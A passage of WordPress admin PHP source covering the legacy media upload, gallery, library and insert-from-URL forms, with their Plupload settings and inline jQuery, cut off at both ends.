		if ( ! empty( $field['errors'] ) ) {
			foreach ( array_unique( (array) $field['errors'] ) as $error ) {
				$extra_rows['error'][] = $error;
			}
		}

		if ( ! empty( $field['extra_rows'] ) ) {
			foreach ( $field['extra_rows'] as $class => $rows ) {
				foreach ( (array) $rows as $html ) {
					$extra_rows[ $class ][] = $html;
				}
			}
		}

		foreach ( $extra_rows as $class => $rows ) {
			foreach ( $rows as $html ) {
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
			}
		}
	}

	if ( ! empty( $form_fields['_final'] ) ) {
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	}

	if ( $item ) {
		$item = '<p class="media-types media-types-required-info">' .
			wp_required_field_message() .
			'</p>' .
			'<table class="compat-attachment-fields">' . $item . '</table>';
	}

	foreach ( $hidden_fields as $hidden_field => $value ) {
		$item .= '<input type="hidden" name="' . esc_attr( $hidden_field ) . '" value="' . esc_attr( $value ) . '" />' . "\n";
	}

	if ( $item ) {
		$item = '<input type="hidden" name="attachments[' . $attachment_id . '][menu_order]" value="' . esc_attr( $post->menu_order ) . '" />' . $item;
	}

	return array(
		'item' => $item,
		'meta' => $media_meta,
	);
}

/**
 * Outputs the legacy media upload header.
 *
 * @since 2.5.0
 */
function media_upload_header() {
	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	echo '<script type="text/javascript">post_id = ' . $post_id . ';</script>';

	if ( empty( $_GET['chromeless'] ) ) {
		echo '<div id="media-upload-header">';
		the_media_upload_tabs();
		echo '</div>';
	}
}

/**
 * Outputs the legacy media upload form.
 *
 * @since 2.5.0
 *
 * @global string $type
 * @global string $tab
 *
 * @param array $errors
 */
function media_upload_form( $errors = null ) {
	global $type, $tab;

	if ( ! _device_can_upload() ) {
		echo '<p>' . sprintf(
			/* translators: %s: https://apps.wordpress.org/ */
			__( 'The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.' ),
			'https://apps.wordpress.org/'
		) . '</p>';
		return;
	}

	$upload_action_url = admin_url( 'async-upload.php' );
	$post_id           = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;
	$_type             = isset( $type ) ? $type : '';
	$_tab              = isset( $tab ) ? $tab : '';

	$max_upload_size = wp_max_upload_size();
	if ( ! $max_upload_size ) {
		$max_upload_size = 0;
	}

	?>
	<div id="media-upload-notice">
	<?php

	if ( isset( $errors['upload_notice'] ) ) {
		echo $errors['upload_notice'];
	}

	?>
	</div>
	<div id="media-upload-error">
	<?php

	if ( isset( $errors['upload_error'] ) && is_wp_error( $errors['upload_error'] ) ) {
		echo $errors['upload_error']->get_error_message();
	}

	?>
	</div>
	<?php

	if ( is_multisite() && ! is_upload_space_available() ) {
		/**
		 * Fires when an upload will exceed the defined upload space quota for a network site.
		 *
		 * @since 3.5.0
		 */
		do_action( 'upload_ui_over_quota' );
		return;
	}

	/**
	 * Fires just before the legacy (pre-3.5.0) upload interface is loaded.
	 *
	 * @since 2.6.0
	 */
	do_action( 'pre-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	$post_params = array(
		'post_id'  => $post_id,
		'_wpnonce' => wp_create_nonce( 'media-form' ),
		'type'     => $_type,
		'tab'      => $_tab,
		'short'    => '1',
	);

	/**
	 * Filters the media upload post parameters.
	 *
	 * @since 3.1.0 As 'swfupload_post_params'
	 * @since 3.3.0
	 *
	 * @param array $post_params An array of media upload parameters used by Plupload.
	 */
	$post_params = apply_filters( 'upload_post_params', $post_params );

	/*
	* Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
	* and the `flash_swf_url` and `silverlight_xap_url` are not used.
	*/
	$plupload_init = array(
		'browse_button'    => 'plupload-browse-button',
		'container'        => 'plupload-upload-ui',
		'drop_element'     => 'drag-drop-area',
		'file_data_name'   => 'async-upload',
		'url'              => $upload_action_url,
		'filters'          => array( 'max_file_size' => $max_upload_size . 'b' ),
		'multipart_params' => $post_params,
	);

	/*
	 * Currently only iOS Safari supports multiple files uploading,
	 * but iOS 7.x has a bug that prevents uploading of videos when enabled.
	 * See #29602.
	 */
	if (
		wp_is_mobile() &&
		str_contains( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' ) &&
		str_contains( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' )
	) {
		$plupload_init['multi_selection'] = false;
	}

	// Check if WebP images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/webp' ) ) ) {
		$plupload_init['webp_upload_error'] = true;
	}

	// Check if AVIF images can be edited.
	if ( ! wp_image_editor_supports( array( 'mime_type' => 'image/avif' ) ) ) {
		$plupload_init['avif_upload_error'] = true;
	}

	/**
	 * Filters the default Plupload settings.
	 *
	 * @since 3.3.0
	 *
	 * @param array $plupload_init An array of default settings used by Plupload.
	 */
	$plupload_init = apply_filters( 'plupload_init', $plupload_init );

	?>
	<script type="text/javascript">
	<?php
	// Verify size is an int. If not return default value.
	$large_size_h = absint( get_option( 'large_size_h' ) );

	if ( ! $large_size_h ) {
		$large_size_h = 1024;
	}

	$large_size_w = absint( get_option( 'large_size_w' ) );

	if ( ! $large_size_w ) {
		$large_size_w = 1024;
	}

	?>
	var resize_height = <?php echo $large_size_h; ?>, resize_width = <?php echo $large_size_w; ?>,
	wpUploaderInit = <?php echo wp_json_encode( $plupload_init ); ?>;
	</script>

	<div id="plupload-upload-ui" class="hide-if-no-js">
	<?php
	/**
	 * Fires before the upload interface loads.
	 *
	 * @since 2.6.0 As 'pre-flash-upload-ui'
	 * @since 3.3.0
	 */
	do_action( 'pre-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	?>
	<div id="drag-drop-area">
		<div class="drag-drop-inside">
		<p class="drag-drop-info"><?php _e( 'Drop files to upload' ); ?></p>
		<p><?php _ex( 'or', 'Uploader: Drop files here - or - Select Files' ); ?></p>
		<p class="drag-drop-buttons"><input id="plupload-browse-button" type="button" value="<?php esc_attr_e( 'Select Files' ); ?>" class="button" /></p>
		</div>
	</div>
	<?php
	/**
	 * Fires after the upload interface loads.
	 *
	 * @since 2.6.0 As 'post-flash-upload-ui'
	 * @since 3.3.0
	 */
	do_action( 'post-plupload-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	?>
	</div>

	<div id="html-upload-ui" class="hide-if-js">
	<?php
	/**
	 * Fires before the upload button in the media upload interface.
	 *
	 * @since 2.6.0
	 */
	do_action( 'pre-html-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	?>
	<p id="async-upload-wrap">
		<label class="screen-reader-text" for="async-upload">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Upload' );
			?>
		</label>
		<input type="file" name="async-upload" id="async-upload" />
		<?php submit_button( __( 'Upload' ), 'primary', 'html-upload', false ); ?>
		<a href="#" onclick="try{top.tb_remove();}catch(e){}; return false;"><?php _e( 'Cancel' ); ?></a>
	</p>
	<div class="clear"></div>
	<?php
	/**
	 * Fires after the upload button in the media upload interface.
	 *
	 * @since 2.6.0
	 */
	do_action( 'post-html-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	?>
	</div>

<p class="max-upload-size">
	<?php
	/* translators: %s: Maximum allowed file size. */
	printf( __( 'Maximum upload file size: %s.' ), esc_html( size_format( $max_upload_size ) ) );
	?>
</p>
	<?php

	/**
	 * Fires on the post upload UI screen.
	 *
	 * Legacy (pre-3.5.0) media workflow hook.
	 *
	 * @since 2.6.0
	 */
	do_action( 'post-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
}

/**
 * Outputs the legacy media upload form for a given media type.
 *
 * @since 2.5.0
 *
 * @param string       $type
 * @param array        $errors
 * @param int|WP_Error $id
 */
function media_upload_type_form( $type = 'file', $errors = null, $id = null ) {

	media_upload_header();

	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	$form_action_url = admin_url( "media-upload.php?type=$type&tab=type&post_id=$post_id" );

	/**
	 * Filters the media upload form action URL.
	 *
	 * @since 2.6.0
	 *
	 * @param string $form_action_url The media upload form action URL.
	 * @param string $type            The type of media. Default 'file'.
	 */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form type-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	?>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
		<?php submit_button( '', 'hidden', 'save', false ); ?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
		<?php wp_nonce_field( 'media-form' ); ?>

	<h3 class="media-title"><?php _e( 'Add media files from your computer' ); ?></h3>

	<?php media_upload_form( $errors ); ?>

	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
		}
		updateMediaForm();
	});
	</script>
	<div id="media-items">
	<?php

	if ( $id ) {
		if ( ! is_wp_error( $id ) ) {
			add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 );
			echo get_media_items( $id, $errors );
		} else {
			echo '<div id="media-upload-error">' . esc_html( $id->get_error_message() ) . '</div></div>';
			exit;
		}
	}

	?>
	</div>

	<p class="savebutton ml-submit">
		<?php submit_button( __( 'Save all changes' ), '', 'save', false ); ?>
	</p>
	</form>
	<?php
}

/**
 * Outputs the legacy media upload form for external media.
 *
 * @since 2.7.0
 *
 * @param string  $type
 * @param object  $errors
 * @param int     $id
 */
function media_upload_type_url_form( $type = null, $errors = null, $id = null ) {
	if ( null === $type ) {
		$type = 'image';
	}

	media_upload_header();

	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	$form_action_url = admin_url( "media-upload.php?type=$type&tab=type&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form type-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	?>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
		<?php wp_nonce_field( 'media-form' ); ?>

	<h3 class="media-title"><?php _e( 'Insert media from another website' ); ?></h3>

	<script type="text/javascript">
	var addExtImage = {

	width : '',
	height : '',
	align : 'alignnone',

	insert : function() {
		var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = '';

		if ( '' === f.src.value || '' === t.width )
			return false;

		if ( f.alt.value )
			alt = f.alt.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');

		<?php
		/** This filter is documented in wp-admin/includes/media.php */
		if ( ! apply_filters( 'disable_captions', '' ) ) {
			?>
			if ( f.caption.value ) {
				caption = f.caption.value.replace(/\r\n|\r/g, '\n');
				caption = caption.replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g, function(a){
					return a.replace(/[\r\n\t]+/, ' ');
				});

				caption = caption.replace(/\s*\n\s*/g, '<br />');
			}
			<?php
		}

		?>
		cls = caption ? '' : ' class="'+t.align+'"';

		html = '<img alt="'+alt+'" src="'+f.src.value+'"'+cls+' width="'+t.width+'" height="'+t.height+'" />';

		if ( f.url.value ) {
			url = f.url.value.replace(/'/g, '&#039;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
			html = '<a href="'+url+'">'+html+'</a>';
		}

		if ( caption )
			html = '[caption id="" align="'+t.align+'" width="'+t.width+'"]'+html+caption+'[/caption]';

		var win = window.dialogArguments || opener || parent || top;
		win.send_to_editor(html);
		return false;
	},

	resetImageData : function() {
		var t = addExtImage;

		t.width = t.height = '';
		document.getElementById('go_button').style.color = '#bbb';
		if ( ! document.forms[0].src.value )
			document.getElementById('status_img').innerHTML = '';
		else document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/no.png' ) ); ?>" alt="" />';
	},

	updateImageData : function() {
		var t = addExtImage;

		t.width = t.preloadImg.width;
		t.height = t.preloadImg.height;
		document.getElementById('go_button').style.color = '#333';
		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/yes.png' ) ); ?>" alt="" />';
	},

	getImageData : function() {
		if ( jQuery('table.describe').hasClass('not-image') )
			return;

		var t = addExtImage, src = document.forms[0].src.value;

		if ( ! src ) {
			t.resetImageData();
			return false;
		}

		document.getElementById('status_img').innerHTML = '<img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" alt="" width="16" height="16" />';
		t.preloadImg = new Image();
		t.preloadImg.onload = t.updateImageData;
		t.preloadImg.onerror = t.resetImageData;
		t.preloadImg.src = src;
	}
	};

	jQuery( function($) {
		$('.media-types input').click( function() {
			$('table.describe').toggleClass('not-image', $('#not-image').prop('checked') );
		});
	} );
	</script>

	<div id="media-items">
	<div class="media-item media-blank">
	<?php
	/**
	 * Filters the insert media from URL form HTML.
	 *
	 * @since 3.3.0
	 *
	 * @param string $form_html The insert from URL form HTML.
	 */
	echo apply_filters( 'type_url_form_media', wp_media_insert_url_form( $type ) );

	?>
	</div>
	</div>
	</form>
	<?php
}

/**
 * Adds gallery form to upload iframe.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 * @global string $type
 * @global string $tab
 *
 * @param array $errors
 */
function media_upload_gallery_form( $errors ) {
	global $redir_tab, $type;

	$redir_tab = 'gallery';
	media_upload_header();

	$post_id         = (int) $_REQUEST['post_id'];
	$form_action_url = admin_url( "media-upload.php?type=$type&tab=gallery&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	?>
	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
			updateMediaForm();
		}
	});
	</script>
	<div id="sort-buttons" class="hide-if-no-js">
	<span>
		<?php _e( 'All Tabs:' ); ?>
	<a href="#" id="showall"><?php _e( 'Show' ); ?></a>
	<a href="#" id="hideall" style="display:none;"><?php _e( 'Hide' ); ?></a>
	</span>
		<?php _e( 'Sort Order:' ); ?>
	<a href="#" id="asc"><?php _e( 'Ascending' ); ?></a> |
	<a href="#" id="desc"><?php _e( 'Descending' ); ?></a> |
	<a href="#" id="clear"><?php _ex( 'Clear', 'verb' ); ?></a>
	</div>
	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="gallery-form">
		<?php wp_nonce_field( 'media-form' ); ?>
	<table class="widefat">
	<thead><tr>
	<th><?php _e( 'Media' ); ?></th>
	<th class="order-head"><?php _e( 'Order' ); ?></th>
	<th class="actions-head"><?php _e( 'Actions' ); ?></th>
	</tr></thead>
	</table>
	<div id="media-items">
		<?php add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 ); ?>
		<?php echo get_media_items( $post_id, $errors ); ?>
	</div>

	<p class="ml-submit">
		<?php
		submit_button(
			__( 'Save all changes' ),
			'savebutton',
			'save',
			false,
			array(
				'id'    => 'save-all',
				'style' => 'display: none;',
			)
		);
		?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
	<input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" />
	<input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" />
	</p>

	<div id="gallery-settings" style="display:none;">
	<div class="title"><?php _e( 'Gallery Settings' ); ?></div>
	<table id="basic" class="describe"><tbody>
		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Link thumbnails to:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<input type="radio" name="linkto" id="linkto-file" value="file" />
			<label for="linkto-file" class="radio"><?php _e( 'Image File' ); ?></label>

			<input type="radio" checked="checked" name="linkto" id="linkto-post" value="post" />
			<label for="linkto-post" class="radio"><?php _e( 'Attachment Page' ); ?></label>
		</td>
		</tr>

		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Order images by:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<select id="orderby" name="orderby">
				<option value="menu_order" selected="selected"><?php _e( 'Menu order' ); ?></option>
				<option value="title"><?php _e( 'Title' ); ?></option>
				<option value="post_date"><?php _e( 'Date/Time' ); ?></option>
				<option value="rand"><?php _e( 'Random' ); ?></option>
			</select>
		</td>
		</tr>

		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Order:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<input type="radio" checked="checked" name="order" id="order-asc" value="asc" />
			<label for="order-asc" class="radio"><?php _e( 'Ascending' ); ?></label>

			<input type="radio" name="order" id="order-desc" value="desc" />
			<label for="order-desc" class="radio"><?php _e( 'Descending' ); ?></label>
		</td>
		</tr>

		<tr>
		<th scope="row" class="label">
			<label>
			<span class="alignleft"><?php _e( 'Gallery columns:' ); ?></span>
			</label>
		</th>
		<td class="field">
			<select id="columns" name="columns">
				<option value="1">1</option>
				<option value="2">2</option>
				<option value="3" selected="selected">3</option>
				<option value="4">4</option>
				<option value="5">5</option>
				<option value="6">6</option>
				<option value="7">7</option>
				<option value="8">8</option>
				<option value="9">9</option>
			</select>
		</td>
		</tr>
	</tbody></table>

	<p class="ml-submit">
	<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="insert-gallery" id="insert-gallery" value="<?php esc_attr_e( 'Insert gallery' ); ?>" />
	<input type="button" class="button" style="display:none;" onMouseDown="wpgallery.update();" name="update-gallery" id="update-gallery" value="<?php esc_attr_e( 'Update gallery settings' ); ?>" />
	</p>
	</div>
	</form>
	<?php
}

/**
 * Outputs the legacy media upload form for the media library.
 *
 * @since 2.5.0
 *
 * @global wpdb      $wpdb            WordPress database abstraction object.
 * @global WP_Query  $wp_query        WordPress Query object.
 * @global WP_Locale $wp_locale       WordPress date and time locale object.
 * @global string    $type
 * @global string    $tab
 * @global array     $post_mime_types
 *
 * @param array $errors
 */
function media_upload_library_form( $errors ) {
	global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;

	media_upload_header();

	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	$form_action_url = admin_url( "media-upload.php?type=$type&tab=library&post_id=$post_id" );
	/** This filter is documented in wp-admin/includes/media.php */
	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
	$form_class      = 'media-upload-form validate';

	if ( get_user_setting( 'uploader' ) ) {
		$form_class .= ' html-uploader';
	}

	$q                   = $_GET;
	$q['posts_per_page'] = 10;
	$q['paged']          = isset( $q['paged'] ) ? (int) $q['paged'] : 0;
	if ( $q['paged'] < 1 ) {
		$q['paged'] = 1;
	}
	$q['offset'] = ( $q['paged'] - 1 ) * 10;
	if ( $q['offset'] < 1 ) {
		$q['offset'] = 0;
	}

	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query( $q );

	?>
	<form id="filter" method="get">
	<input type="hidden" name="type" value="<?php echo esc_attr( $type ); ?>" />
	<input type="hidden" name="tab" value="<?php echo esc_attr( $tab ); ?>" />
	<input type="hidden" name="post_id" value="<?php echo (int) $post_id; ?>" />
	<input type="hidden" name="post_mime_type" value="<?php echo isset( $_GET['post_mime_type'] ) ? esc_attr( $_GET['post_mime_type'] ) : ''; ?>" />
	<input type="hidden" name="context" value="<?php echo isset( $_GET['context'] ) ? esc_attr( $_GET['context'] ) : ''; ?>" />

	<p id="media-search" class="search-box">
		<label class="screen-reader-text" for="media-search-input">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Search Media:' );
			?>
		</label>
		<input type="search" id="media-search-input" name="s" value="<?php the_search_query(); ?>" />
		<?php submit_button( __( 'Search Media' ), '', '', false ); ?>
	</p>

	<ul class="subsubsub">
		<?php
		$type_links = array();
		$_num_posts = (array) wp_count_attachments();
		$matches    = wp_match_mime_types( array_keys( $post_mime_types ), array_keys( $_num_posts ) );
		foreach ( $matches as $_type => $reals ) {
			foreach ( $reals as $real ) {
				if ( isset( $num_posts[ $_type ] ) ) {
					$num_posts[ $_type ] += $_num_posts[ $real ];
				} else {
					$num_posts[ $_type ] = $_num_posts[ $real ];
				}
			}
		}
		// If available type specified by media button clicked, filter by that type.
		if ( empty( $_GET['post_mime_type'] ) && ! empty( $num_posts[ $type ] ) ) {
			$_GET['post_mime_type']                        = $type;
			list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
		}
		if ( empty( $_GET['post_mime_type'] ) || 'all' === $_GET['post_mime_type'] ) {
			$class = ' class="current"';
		} else {
			$class = '';
		}
		$type_links[] = '<li><a href="' . esc_url(
			add_query_arg(
				array(
					'post_mime_type' => 'all',
					'paged'          => false,
					'm'              => false,
				)
			)
		) . '"' . $class . '>' . __( 'All Types' ) . '</a>';
		foreach ( $post_mime_types as $mime_type => $label ) {
			$class = '';

			if ( ! wp_match_mime_types( $mime_type, $avail_post_mime_types ) ) {
				continue;
			}

			if ( isset( $_GET['post_mime_type'] ) && wp_match_mime_types( $mime_type, $_GET['post_mime_type'] ) ) {
				$class = ' class="current"';
			}

			$type_links[] = '<li><a href="' . esc_url(
				add_query_arg(
					array(
						'post_mime_type' => $mime_type,
						'paged'          => false,
					)
				)
			) . '"' . $class . '>' . sprintf( translate_nooped_plural( $label[2], $num_posts[ $mime_type ] ), '<span id="' . $mime_type . '-counter">' . number_format_i18n( $num_posts[ $mime_type ] ) . '</span>' ) . '</a>';
		}
		/**
		 * Filters the media upload mime type list items.
		 *
		 * Returned values should begin with an `<li>` tag.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $type_links An array of list items containing mime type link HTML.
		 */
		echo implode( ' | </li>', apply_filters( 'media_upload_mime_type_links', $type_links ) ) . '</li>';
		unset( $type_links );
		?>
	</ul>

	<div class="tablenav">

		<?php
		$page_links = paginate_links(
			array(
				'base'      => add_query_arg( 'paged', '%#%' ),
				'format'    => '',
				'prev_text' => __( '&laquo;' ),
				'next_text' => __( '&raquo;' ),
				'total'     => (int) ceil( $wp_query->found_posts / 10 ),
				'current'   => $q['paged'],
			)
		);

		if ( $page_links ) {
			echo "<div class='tablenav-pages'>$page_links</div>";
		}
		?>

	<div class="alignleft actions">
		<?php

		$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC";

		$arc_result = $wpdb->get_results( $arc_query );

		$month_count    = count( $arc_result );
		$selected_month = isset( $_GET['m'] ) ? $_GET['m'] : 0;

		if ( $month_count && ! ( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) {
			?>
			<select name='m'>
			<option<?php selected( $selected_month, 0 ); ?> value='0'><?php _e( 'All dates' ); ?></option>
			<?php

			foreach ( $arc_result as $arc_row ) {
				if ( 0 == $arc_row->yyear ) {
					continue;
				}

				$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );

				if ( $arc_row->yyear . $arc_row->mmonth == $selected_month ) {
					$default = ' selected="selected"';
				} else {
					$default = '';
				}

				echo "<option$default value='" . esc_attr( $arc_row->yyear . $arc_row->mmonth ) . "'>";
				echo esc_html( $wp_locale->get_month( $arc_row->mmonth ) . " $arc_row->yyear" );
				echo "</option>\n";
			}

			?>
			</select>
		<?php } ?>

		<?php submit_button( __( 'Filter &#187;' ), '', 'post-query-submit', false ); ?>

	</div>

	<br class="clear" />
	</div>
	</form>

	<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="library-form">
	<?php wp_nonce_field( 'media-form' ); ?>

	<script type="text/javascript">
	jQuery(function($){
		var preloaded = $(".media-item.preloaded");
		if ( preloaded.length > 0 ) {
			preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
			updateMediaForm();
		}
	});
	</script>

	<div id="media-items">
		<?php add_filter( 'attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2 ); ?>
		<?php echo get_media_items( null, $errors ); ?>
	</div>
	<p class="ml-submit">
		<?php submit_button( __( 'Save all changes' ), 'savebutton', 'save', false ); ?>
	<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
	</p>
	</form>
	<?php
}

/**
 * Creates the form for external url.
 *
 * @since 2.7.0
 *
 * @param string $default_view
 * @return string HTML content of the form.
 */
function wp_media_insert_url_form( $default_view = 'image' ) {
	/** This filter is documented in wp-admin/includes/media.php */
	if ( ! apply_filters( 'disable_captions', '' ) ) {
		$caption = '
		<tr class="image-only">
			<th scope="row" class="label">
				<label for="caption"><span class="alignleft">' . __( 'Image Caption' ) . '</span></label>
			</th>
			<td class="field"><textarea id="caption" name="caption"></textarea></td>
		</tr>';
	} else {
		$caption = '';
	}

	$default_align = get_option( 'image_default_align' );

	if ( empty( $default_align ) ) {
		$default_align = 'none';
	}

	if ( 'image' === $default_view ) {
		$view        = 'image-only';
		$table_class = '';
	} else {
		$view        = 'not-image';
		$table_class = $view;
	}

	return '
	<p class="media-types"><label><input type="radio" name="media_type" value="image" id="image-only"' . checked( 'image-only', $view, false ) . ' /> ' . __( 'Image' ) . '</label> &nbsp; &nbsp; <label><input type="radio" name="media_type" value="generic" id="not-image"' . checked( 'not-image', $view, false ) . ' /> ' . __( 'Audio, Video, or Other File' ) . '</label></p>
	<p class="media-types media-types-required-info">' .
		wp_required_field_message() .
	'</p>
	<table class="describe ' . $table_class . '"><tbody>
		<tr>
			<th scope="row" class="label" style="width:130px;">
				<label for="src"><span class="alignleft">' . __( 'URL' ) . '</span> ' . wp_required_field_indicator() . '</label>
				<span class="alignright" id="status_img"></span>
			</th>
			<td class="field"><input id="src" name="src" value="" type="text" required onblur="addExtImage.getImageData()" /></td>
		</tr>

		<tr>
			<th scope="row" class="label">
				<label for="title"><span class="alignleft">' . __( 'Title' ) . '</span> ' . wp_required_field_indicator() . '</label>
			</th>
			<td class="field"><input id="title" name="title" value="" type="text" required /></td>
		</tr>

		<tr class="not-image"><td></td><td><p class="help">' . __( 'Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;' ) . '</p></td></tr>

		<tr class="image-only">
			<th scope="row" class="label">
				<label for="alt"><span class="alignleft">' . __( 'Alternative Text' ) . '</span> ' . wp_required_field_indicator() . '</label>
			</th>
			<td class="field"><input id="alt" name="alt" value="" type="text" required />
			<p class="help">' . __( 'Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;' ) . '</p></td>
		</tr>
		' . $caption . '
		<tr class="align image-only">
			<th scope="row" class="label"><p><label for="align">' . __( 'Alignment' ) . '</label></p></th>
			<td class="field">
				<input name="align" id="align-none" value="none" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'none' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-none" class="align image-align-none-label">' . __( 'None' ) . '</label>
				<input name="align" id="align-left" value="left" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'left' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-left" class="align image-align-left-label">' . __( 'Left' ) . '</label>
				<input name="align" id="align-center" value="center" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'center' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-center" class="align image-align-center-label">' . __( 'Center' ) . '</label>
				<input name="align" id="align-right" value="right" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ( 'right' === $default_align ? ' checked="checked"' : '' ) . ' />
				<label for="align-right" class="align image-align-right-label">' . __( 'Right' ) . '</label>
			</td>
		</tr>

		<tr class="image-only">
			<th scope="row" class="label">
				<label for="url"><span class="alignleft">' . __( 'Link Image To:' ) . '</span></label>
			</th>
			<td class="field"><input id="url" name="url" value="" type="text" /><br />

			<button type="button" class="button" value="" onclick="document.forms[0].url.value=null">' . __( 'None' ) . '</button>
			<button type="button" class="button" value="" onclick="document.forms[0].url.value=document.forms[0].src.value">' . __( 'Link to image' ) . '</button>
			<p class="help">' . __( 'Enter a link URL or click above for presets.' ) . '</p></td>
		</tr>
		<tr class="image-only">
			<td></td>
			<td>
				<input type="button" class="button" id="go_button" style="color:#bbb;" onclick="addExtImage.insert()" value="' . esc_attr__( 'Insert into Post' ) . '" />
			</td>
		</tr>
		<tr class="not-image">
			<td></td>
			<td>
				' . get_submit_button( __( 'Insert into Post' ), '', 'insertonlybutton', false ) . '
			</td>
		</tr>
	</tbody></table>';
}

/**
 * Displays the multi-file uploader message.
 *
 * @since 2.6.0
 *
 * @global int $post_ID
 */
function media_upload_flash_bypass() {
	$browser_uploader = admin_url( 'media-new.php?browser-uploader' );

	$post = get_post();
	if ( $post ) {
		$browser_uploader .= '&amp;post_id=' . (int) $post->ID;
	} elseif ( ! empty( $GLOBALS['post_ID'] ) ) {
		$browser_uploader .= '&amp;post_id=' . (int) $GLOBALS['post_ID'];
	}

	?>
